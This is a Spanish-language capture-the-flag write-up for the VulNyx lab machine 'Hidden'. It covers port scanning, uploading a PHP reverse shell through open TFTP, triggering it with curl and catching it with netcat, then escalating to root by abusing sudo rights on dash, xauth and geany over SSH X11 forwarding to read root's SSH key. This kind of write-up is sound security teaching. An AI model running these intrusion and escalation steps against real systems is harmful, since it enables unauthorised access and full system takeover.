VulNyx - Hidden

logo

  • Upload Shell
  • Abusing Dash Binary
  • SSH X11 Forwarding

Escaneo de puertos

❯ nmap -p- -T5 -v -n 192.168.1.15

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,80 192.168.1.15

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0e624fb9eb07a1abdf7b185237fb16f (RSA)
|   256 99c87431451058b0cecc63b47a82573d (ECDSA)
|_  256 60da3e3138fab549ab48c3432c9fd132 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Al no encontrar nada realizo un escaneo de puertos UDP y encuentro el puerto 69.

❯ sudo nmap -sU --top-ports 1000 192.168.1.15

PORT   STATE         SERVICE
69/udp open|filtered tftp

Me conecto al servidor TFTP y subo una shell.

❯ tftp 192.168.1.15 69

tftp> put rs.php
tftp> quit

Uso curl para activar la shell.

curl -s http://192.168.1.15/rs.php

Obtengo la shell.

❯ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.15] 33534
Linux hidden 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64 GNU/Linux

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@hidden:/$ 

Enumero permisos de sudo para pivotar de www-data a satan.

www-data@hidden:/home$ sudo -l

sudo: unable to resolve host hidden: Name or service not known
Matching Defaults entries for www-data on hidden:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on hidden:
    (satan) NOPASSWD: /usr/bin/dash

Para pivotar de usuario uso este recurso gtfobins

www-data@hidden:/home$ sudo -u satan /usr/bin/dash
$ id
uid=1000(satan) gid=1000(satan) groups=1000(satan)

Enumero permisos de sudo.

satan@hidden:~$ sudo -l

Matching Defaults entries for satan on hidden:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User satan may run the following commands on hidden:
    (ALL : ALL) NOPASSWD: /usr/bin/geany, /usr/bin/xauth

En este paso he creado un archivo authorized_keys para poder conectarme a la máquina objetivo mediante ssh, una vez conectado lanzo geany y me muestra el siguiente mensaje:

satan@hidden:~$ geany
Unable to init server: No se pudo conectar: Conexión rehusada
Geany: cannot open display

SSH X11 forwarding

Me voy a /etc/ssh/ssh_config para comprobar que el servidor tiene habilitado el X11 forwarding.

X11Forwarding yes

Me conecto al sistema con el parámetro -X .

ssh -X satan@192.168.1.15

Ahora si lanzo geany verifico que el servidor X11 funciona correctamente.

geanyX11

X11 es el servidor gráfico que usan la mayoría de distribuciones GNU-Linux. Este servidor permite, entre otras cosas, forwarding a través de SSH. Esto significa que es posible ejecutar aplicaciones gráficas de una máquina remota exportando el display a nuestro escritorio. Es decir, la aplicación se ejecuta en el servidor remoto, pero la interfaz gráfica la visualizamos en nuestro escritorio local.

Con xauth veo la magic-cookie del usuario satan, esta magic-cookie es un protocolo de autorización.

satan@hidden:~$ xauth list
hidden/unix:10  MIT-MAGIC-COOKIE-1  00ecfb40390ae6e2f8adb8c6c7f50057
satan@hidden:~$ xauth info
Authority file:       /home/satan/.Xauthority
File new:             no
File locked:          no
Number of entries:    1
Changes honored:      yes
Changes made:         no
Current input:        (argv):1

Añado la magic-cookie de root.

satan@hidden:~$ sudo /usr/bin/xauth add $(xauth list $DISPLAY)
sudo: unable to resolve host hidden: Nombre o servicio desconocido

Lanzo geany apuntando al id_rsa de root.

satan@hidden:~$ sudo /usr/bin/geany /root/.ssh/id_rsa

id_rsa

Una vez tengo la llave rsa me conecto como root al sistema.

❯ ssh -i root_rsa root@192.168.1.15
Linux hidden 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64
root@hidden:~# id
uid=0(root) gid=0(root) grupos=0(root)

Y con esto ya tenemos resuelta la máquina Hidden.

Saludos!